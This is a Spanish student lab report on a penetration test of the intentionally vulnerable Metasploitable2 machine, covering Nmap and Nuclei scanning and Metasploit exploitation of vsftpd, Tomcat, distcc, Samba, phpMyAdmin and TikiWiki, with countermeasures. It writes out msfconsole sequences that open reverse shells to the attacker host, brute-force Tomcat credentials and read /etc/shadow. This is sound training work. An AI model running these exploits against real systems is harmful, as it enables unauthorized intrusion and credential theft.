SSI-ENTREGA 2

-MANUEL CACHALDORA BORRAJO
-LUCAS GONZALEZ TORRES
-MARTIN GÓMEZ CARREÑO

Resumen General: Práctica 2. Tests de intrusión. Uso básico de Metasploit

Aquí detallamos el proceso y resultados de un test de intrusión realizado sobre la red que contiene la máquina Metasploitable2.

Nuestro objetivo fue identificar y explotar vulnerabilidades en los servicios de la máquina objetivo para evaluar su nivel de seguridad.

·**Escenario:** Desde una máquina atacante, se ejecutaron varios escaneos y pruebas de explotación sobre la máquina Metasploitable2 (IP: 198.51.100.222).

·**Herramientas usadas:**

Nmap:	Para identificación de puertos y servicios activos.
Nessus/OpenVAS:	Para análisis detallado de vulnerabilidades
Nuclei:	Para detección específica de vulnerabilidades mediante plantillas
Metasploit:	Para explotación de vulnerabilidades detectadas

·**Objetivos:** Identificar servicios, detectar vulnerabilidades, explotar servicios vulnerables y proponer contramedidas.

Equipos y Servicios Identificados

Se identificaron los siguientes servicios en la máquina Metasploitable2:

FTP:	*vsftpd* versión 2.3.4 (puerto 21)
SSH:	*OpenSSH* versión 4.7p1 (puerto 22)
HTTP:	*Apache* versión 2.2.8 (puerto 80)
MySQL:	versión 5.0.51a (puerto 3306)
VNC:	Puerto 5900
Samba (SMB):	En los puertos 139 y 445
Aplicaciones Web:	1-phpMyAdmin: Interfaz de administración MySQL. 2-TikiWiki: Sistema de gestión de contenidos en formato wiki.

Datos Recuperados de Cada Equipo/Servicio

Durante la enumeración, se recopiló la siguiente información sobre los servicios y sus versiones:

Sistema Operativo:	Linux.
Servicios específicos:	-*vsftpd* 2.3.4: Vulnerabilidad de puerta trasera conocida. -*OpenSSH* 4.7p1: Versión compatible con ataques de fuerza bruta.

	-*Apache* 2.2.8: Vulnerabilidad de credenciales predeterminadas en Apache Tomcat. -*MySQL* 5.0.51a: Accesible mediante phpMyAdmin. -DistCC (puerto 3632): Permite ejecución de comandos remotos sin autenticación. -Samba: Vulnerabilidad de scripts de usuario en SMB.

Vulnerabilidades Detectadas y Posibilidades de Explotación

Se identificaron varias vulnerabilidades en los servicios de Metasploitable2:

1. FTP (*vsftpd* 2.3.4): Explotable mediante una puerta trasera integrada que permite acceso no autorizado.
2. Apache Tomcat (en Apache 2.2.8): Consola de administración accesible con credenciales predeterminadas, lo que facilita el acceso al sistema.
3. DistCC (puerto 3632): Configuración insegura que permite ejecución remota de comandos sin autenticación.
4. Samba (SMB): Exposición de scripts de usuario vulnerables que pueden ser aprovechados para acceso remoto.
5. phpMyAdmin: Configuraciones por defecto que permiten la explotación a través de la interfaz web de administración.
6. TikiWiki: Vulnerabilidad de inyección de comandos en la URL de gestión del wiki.

Resumen/Listado General

A continuación, se detallan las vulnerabilidades detectadas y los servicios afectados, junto con los posibles exploits disponibles en Metasploit para cada servicio:

-vsftpd 2.3.4: exploit/unix/ftp/vsftpd_234_backdoor
-Apache Tomcat: exploit/multi/http/tomcat_mgr_deploy
-DistCC: exploit/unix/misc/distcc_exec
-Samba (SMB): exploit/multi/samba/usermap_script
-phpMyAdmin: exploit/unix/webapp/phpmyadmin_config
-TikiWiki: exploit/unix/webapp/tikiwiki_graph_formula_exec

Informe de Explotación de los Servicios Vulnerables Detectados

1. **Explotación de FTP (*vsftpd* 2.3.4):**
   - **Vulnerabilidad:** Puerta trasera integrada.
   - **Exploit utilizado:** exploit/unix/ftp/vsftpd_234_backdoor.
   - **Proceso:** Conexión a través de puerta trasera para obtener acceso al sistema.
   - **Alcance:** Acceso remoto directo a la máquina.

2. **Apache Tomcat:**
   - **Vulnerabilidad:** Consola accesible con credenciales predeterminadas.
   - **Exploit utilizado:** exploit/multi/http/tomcat_mgr_deploy.

-**Proceso:** Autenticación mediante credenciales predeterminadas y ejecución de código remoto
-**Alcance:** Control completo de la instancia de Apache Tomcat.

3. DistCC:
-**Vulnerabilidad:** Permite ejecución de comandos sin autenticación.
-**Exploit utilizado:** exploit/unix/misc/distcc_exec.
-**Proceso:** Ejecución de comandos remotos mediante DistCC.
-**Alcance:** Control de comandos sobre la máquina.

4. Samba (SMB):
-**Vulnerabilidad:** Exposición de scripts de usuario inseguros.
-**Exploit utilizado:** exploit/multi/samba/usermap_script.
-**Proceso:** Ejecución de scripts de usuario vulnerables.
-**Alcance:** Acceso al sistema de archivos en la máquina.

5. phpMyAdmin:
-**Vulnerabilidad:** Configuración insegura que permite explotación mediante configuración por defecto.
-**Exploit utilizado:** exploit/unix/webapp/phpmyadmin_config.
-**Proceso:** Acceso no autorizado a MySQL.
-**Alcance:** Acceso completo a la base de datos.

6. TikiWiki:
-**Vulnerabilidad:** Inyección de comandos.
-**Exploit utilizado:** exploit/unix/webapp/tikiwiki_graph_formula_exec.
-**Proceso:** Ejecución de código en el servidor a través de la URL.
-**Alcance:** Ejecución remota de comandos en el servidor.

Propuesta de Contramedidas y Correcciones

Escenario 1: Actualización/Reemplazo de Equipos/Servicios Vulnerables

1. vsftpd: Actualizar a una versión no vulnerable de *vsftpd* y desactivar FTP si no es necesario.
2. Apache y Tomcat: Actualizar a versiones seguras y cambiar credenciales predeterminadas para Tomcat.
3. DistCC: Desactivar el servicio en el puerto 3632 o limitar su acceso a una lista segura de IPs de confianza.
4. Samba: Configurar Samba para limitar accesos externos y proteger scripts de usuario.
5. phpMyAdmin: Configuración segura de acceso (como IP permitidas o autenticación doble) y actualización de la versión.
6. TikiWiki: Reemplazar con una versión segura y habilitar autenticación segura para el acceso.

Escenario 2: No es Posible la Actualización/Reemplazo de Equipos/Servicios Vulnerables

1. Configuración de Firewall: Limitar accesos externos a puertos críticos (como 21, 22, 80, 3306, 139 y 445).

2. Monitoreo de Acceso: Implementar sistemas de detección de intrusiones (IDS) para monitorear accesos inusuales a servicios críticos.

3. Fortificación de Red y Equipos:
-Desactivar servicios no esenciales.
-Habilitar alertas para accesos no autorizados.

-Restringir accesos a puertos y aplicaciones vulnerables.

4. Administración y Recomendaciones: Configurar políticas de contraseñas robustas, limitar permisos de usuario en Samba y habilitar autenticación de doble factor para phpMyAdmin y TikiWiki.

COMPLEMENTARIO AL RESUMEN

Ejercicio 1: Enumeración de Equipos y Servicios y Detección de Vulnerabilidades

Los tests de intrusión (también conocidos como pentesting) son evaluaciones planificadas para identificar vulnerabilidades de seguridad mediante simulación de ataques controlados. Estos permiten evaluar la seguridad de los sistemas y servicios expuestos, y son esenciales para una auditoría de seguridad completa. Aquí se utilizan las herramientas Nmap, Nessus/OpenVAS y Nuclei, que ayudan a explorar y enumerar equipos y detectar vulnerabilidades

Las herramientas que hemos usado para poder desarrollar este ejercicio son las siguientes:

1-Nmap: Escaneo de puertos, identificación de servicios y SO

2-Nessus/OpenVAS: Escaneo de vulnerabilidades basado en plugins, útil para etapas de enumeración

3-Nuclei: Escaneo de vulnerabilidades basado en plantillas YAML

PASO A PASO:

1-Enumeración con Nmap: Desde la maquina atacante, usamos Nmap para explorar la red y detectar servicios y SO en la maquina Metasploitable2

Paso 1: Escaneo de Equipos en la Red (Ping Scan)

Este paso identifica los equipos conectados en el segmento de red:

```
nmap -sP 198.51.100.0/24
```

Este comando de ping scan muestra todos los dispositivos conectados. En este caso, se deben detectar dos máquinas:

- **ATACANTE (IP: 198.51.100.111)**
- **METASPLOITABLE (IP: 198.51.100.222)**

Paso 2: Escaneo de Servicios en METASPLOITABLE

Realiza un escaneo completo de puertos y servicios, identificando el sistema operativo y los servicios en ejecución:

```
nmap -oX nmap.xml -O -sV -sC -p1-65535 -T4 198.51.100.222
```

Explicación de Opciones:

- -oX nmap.xml: Guarda el resultado en formato XML.
- -O: Habilita la detección del sistema operativo.
- -sV: Identifica versiones de servicios.
- -sC: Ejecuta scripts NSE para comprobar vulnerabilidades.
- -p1-65535: Escanea todos los puertos.
- -T4: Establece la velocidad de escaneo.

2-Detección de Vulnerabilidades con Nuclei

1. Descargar Nuclei y configurar:

```
wget -c -q
https://github.com/projectdiscovery/nuclei/releases/download/v3.3.5/nuclei_3.3.5_lin
ux_amd64.zip
unzip nuclei_3.3.5_linux_amd64.zip
ln -s $PWD/nuclei /usr/bin/
```

2. Actualizar Plantillas (Templates): nuclei -update-templates

3. Escaneo General de Vulnerabilidades:

```
nuclei -no-color -target 198.51.100.222
```

4. Escaneo Focalizado en Apache Tomcat (puerto 8080 de Metasploitable):

```
nuclei -target http://198.51.100.222:8080 -no-color -tags tomcat,apache
```

3-Resultados Esperados

1-Nmap debería identificar puertos abiertos en Metasploitable2 como:

- FTP (vsftpd 2.3.4)
- SSH (OpenSSH 4.7p1)
- HTTP (Apache 2.2.8)
- MySQL (5.0.51a)
- VNC, etc.

2. Nuclei detectará vulnerabilidades específicas en servicios y reportará el nivel de riesgo y descripción de cada vulnerabilidad

---

Ejercicio 2: Explotación de Vulnerabilidades con Metasploit

Este ejercicio muestra cómo usar el Framework Metasploit para la explotación de vulnerabilidades y el acceso a sistemas comprometidos. Metasploit es un framework de intrusión que permite automatizar las fases de un ataque mediante módulos modulares para la enumeración, escaneo, explotación y post-explotación.

Conceptos clave

-Vulnerabilidad: Defecto en una "víctima" (ya sea de programación o configuración) que puede ser explotado.
-Exploit: Procedimiento para explotar una vulnerabilidad.
-Payload: Código que se inyecta en la víctima al explotar la vulnerabilidad.

Arquitectura de Metasploit

1. **Exploits:** Código que explota una vulnerabilidad específica para obtener acceso no autorizado.
2. **Payloads:** Código para ejecutar en la víctima, ofreciendo control remoto o realizando acciones maliciosas.
3. **Auxiliary:** Módulos auxiliares para escanear servicios, recolectar credenciales o realizar fuerza bruta.
4. **Post:** Tareas para mantener el acceso o escalar privilegios en la máquina comprometida.
5. **Nops y Encoders:** Elementos para codificar y ofuscar exploits, ayudando a evitar la detección de IDS/antivirus.

Interfaces de Usuario en Metasploit

-Armitage: Interfaz gráfica que asiste y automatiza tareas.
-msfrpc/msfrpcd: Para realizar llamadas remotas (RPC).
-msfconsole: Interfaz en modo texto que ofrece acceso a todas las funcionalidades.
-msfpayload/msfencode: Herramientas para crear y codificar payloads.

Uso de msfconsole

Antes de usar msfconsole, asegúrate de:

1. **Inicializar la base de datos:**
   msfdb init # o msfdb reinit si ya existía
   msfdb start
2. **Ajustar la ruta de red (si es necesario) para la conexión a Internet en la máquina atacante:**
   ip route delete default via 10.0.3.2
   ip route add default via 198.51.100.1

Escaneo e Identificación de Equipos y Servicios

Metasploit permite almacenar información de los equipos, servicios y vulnerabilidades detectadas en una base de datos. Los resultados de escaneo se pueden obtener directamente en Metasploit usando módulos Auxiliary o importarlos desde herramientas externas como Nmap, Nessus y OpenVAS.

Pasos para el escaneo y almacenamiento de datos:

1. **Escaneo de puertos en la red con Nmap y almacenamiento en la base de datos:**
   db_nmap -O -sV -T4 198.51.100.0/24
   db_import /root/nmap.xml

2. **Importar resultados de Nessus y OpenVAS:**
   db_import /root/nessus_report_Escaneo_Metasploit.nessus
   db_import /root/report-openvas_Escaneo_Metasploit.xml

3. **Verificar la información de los equipos y servicios detectados:**
   hosts # Muestra los hosts identificados
   services # Muestra los servicios detectados
   vulns # Lista vulnerabilidades

Uso de Módulos: Explotación de VSFTPD

El servidor FTP vsftpd 2.3.4 en Metasploitable2 incluye una puerta trasera que permite al atacante ganar acceso al sistema.

1. **Buscar exploit para vsftpd 2.3.4:**
   search type:exploit vsftpd

2. **Seleccionar y configurar el exploit:**
   use exploit/unix/ftp/vsftpd_234_backdoor

set RHOST 198.51.100.222
set PAYLOAD cmd/unix/interact
exploit

3. Evaluación del alcance de la intrusión: Una vez obtenida la sesión en la máquina víctima, ejecuta los siguientes comandos para evaluar el acceso:

pwd # Ver el directorio actual
whoami # Identificar el usuario con el que se accedió uname -a # Información del sistema
lsb_release -a # Versión de la distribución Linux
ls -l # Listado de archivos
cat /etc/passwd # Ver usuarios del sistema
cat /etc/shadow # Ver contraseñas cifradas (si tienes permisos)

Para terminar la sesión con [CONTROL] + C o el comando exit.

Uso de Módulos: Explotación de Apache Tomcat

El servidor Apache Tomcat en el puerto 8080 presenta una vulnerabilidad que permite su explotación usando credenciales por defecto.

1. Buscar exploit para Apache Tomcat:
search type:exploit tomcat

2. Acceso a la consola de administración de Tomcat:

Abre en el navegador la URL [http://198.51.100.222:8080/manager/html] para verificar si la consola es accesible. Si es necesario, reinicia el servicio Tomcat en Metasploitable2.

3. Obtener credenciales de acceso: Usa el módulo auxiliar de fuerza bruta para intentar credenciales:
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 198.51.100.222
set RPORT 8080
set STOP_ON_SUCCESS true
run

Credenciales de éxito esperadas: tomcat:tomcat.

4. Configurar el exploit:
use exploit/multi/http/tomcat_mgr_deploy
set RHOSTS 198.51.100.222
set RPORT 8080
set HttpUsername tomcat
set HttpPassword tomcat

5. Seleccionar y configurar el payload java/shell/reverse_tcp:
set PAYLOAD java/shell/reverse_tcp
set LHOST 198.51.100.111 # Dirección de la máquina atacante set LPORT 22222 # Puerto en la máquina atacante exploit

6. Evaluar el acceso en la sesión abierta: Ejecuta comandos en la sesión para confirmar el acceso y analizar la intrusión:

pwd
whoami
uname -a

Servicios Explotables en Metasploitable2

Metasploitable2 es una máquina virtual diseñada para pruebas de penetración, repleta de servicios y aplicaciones vulnerables que permiten a los profesionales de seguridad probar y mejorar sus habilidades en explotación de sistemas. En este apartado, exploraremos servicios críticos vulnerables que pueden ser explotados en Metasploitable2.

Servicio distcc (Compilación Distribuida)

-**Descripción:** distcc es una herramienta que permite la compilación de software distribuida en una red de sistemas. Sin embargo, en versiones anteriores, presenta una configuración insegura que permite la ejecución de comandos sin autenticación, lo cual puede ser aprovechado para obtener acceso no autorizado.
-Puerto: 3632/tcp
-Exploit en Metasploit: exploit/unix/misc/distcc_exec

Pasos de explotación:

1. **Seleccionar el exploit:**
   use exploit/unix/misc/distcc_exec

2. **Configurar las opciones del exploit:**
   set RHOSTS 198.51.100.222
   set RPORT 3632
   set PAYLOAD cmd/unix/reverse

3. **Ejecutar el exploit:**
   exploit

   Resultado: Al ejecutarse con éxito, el exploit abre un shell remoto, permitiendo ejecutar comandos en la máquina víctima.

Servicio SMB (Samba)

-Descripción: Samba permite compartir archivos e impresoras en redes mixtas de Windows y Linux/Unix. La configuración en Metasploitable2 expone una vulnerabilidad crítica en el manejo de scripts de usuario, lo cual puede ser explotado para obtener acceso remoto.
-Puertos: 139/tcp y 445/tcp
-Exploit en Metasploit: exploit/multi/samba/usermap_script

Pasos de explotación:

1. **Seleccionar el exploit:**
   use exploit/multi/samba/usermap_script

2. Configurar las opciones:
set RHOSTS 198.51.100.222

3. Ejecutar el exploit:
exploit

Resultado: Al ejecutarse, el exploit proporciona un shell en la máquina víctima. Esto permite acceso directo al sistema de archivos y otras operaciones en el servidor Samba.

phpMyAdmin (Administrador de MySQL vía Web)

-**Descripción:** phpMyAdmin es una herramienta de administración de bases de datos MySQL accesible vía web. En Metasploitable2, la versión expuesta permite a los atacantes explotar configuraciones inseguras para obtener acceso administrativo.
-URL: http://198.51.100.222/phpMyAdmin
-Exploit en Metasploit: exploit/unix/webapp/phpmyadmin_config

Pasos de explotación:

1.Verificar la vulnerabilidad en la URL:
Abre la URL de phpMyAdmin para confirmar que el servicio es accesible.

2.Seleccionar el exploit en Metasploit:
use exploit/unix/webapp/phpmyadmin_config

3. Configurar las opciones:
set RHOSTS 198.51.100.222
set TARGETURI /phpMyAdmin/

4. Ejecutar el exploit:
exploit

Resultado: Este exploit intenta iniciar sesión en phpMyAdmin usando configuraciones por defecto y, si tiene éxito, permite la ejecución de comandos SQL en el servidor de base de datos.

Aplicación TikiWiki

-Descripción: TikiWiki es una aplicación para la gestión de wikis que presenta vulnerabilidades en versiones antiguas. La implementación de TikiWiki en Metasploitable2 es vulnerable a la inyección de comandos, lo cual permite ejecutar código malicioso en el servidor.
-URL: http://198.51.100.222/tikiwiki
-Exploit en Metasploit: exploit/unix/webapp/tikiwiki_graph_formula_exec

Pasos de explotación:

1. Verificar la vulnerabilidad: Accede a la URL de TikiWiki para confirmar que el servicio está activo.

2. Seleccionar el exploit en Metasploit:
use exploit/unix/webapp/tikiwiki_graph_formula_exec

3. Configurar las opciones:
set RHOSTS 198.51.100.222
set TARGETURI /tikiwiki/

4. Ejecutar el exploit:
exploit

Resultado: Al ejecutarse, el exploit permite al atacante ejecutar comandos en el servidor a través de la aplicación web TikiWiki.

Otros Servicios Potencialmente Explotables

SERVICIO	DESCRIPCIÓN	EXPLOIT DE EJEMPLO
PostgreSQL:	Servicio de base de datos que escucha en el puerto 5432. Se pueden realizar ataques de fuerza bruta sobre las credenciales de acceso para intentar acceder a la base de datos.	auxiliary/scanner/postgres/postgres_login
Servidor DNS Bind9:	Bind9 es un servidor DNS que en configuraciones inseguras puede ser vulnerable a ataques de inyección de DNS	exploit/linux/dns/bind_tsig
ProFTPD (Servidor FTP):	Un servidor FTP vulnerable que escucha en el puerto 2121 y puede permitir acceso remoto mediante exploits	exploit/unix/ftp/proftpd_modcopy_exec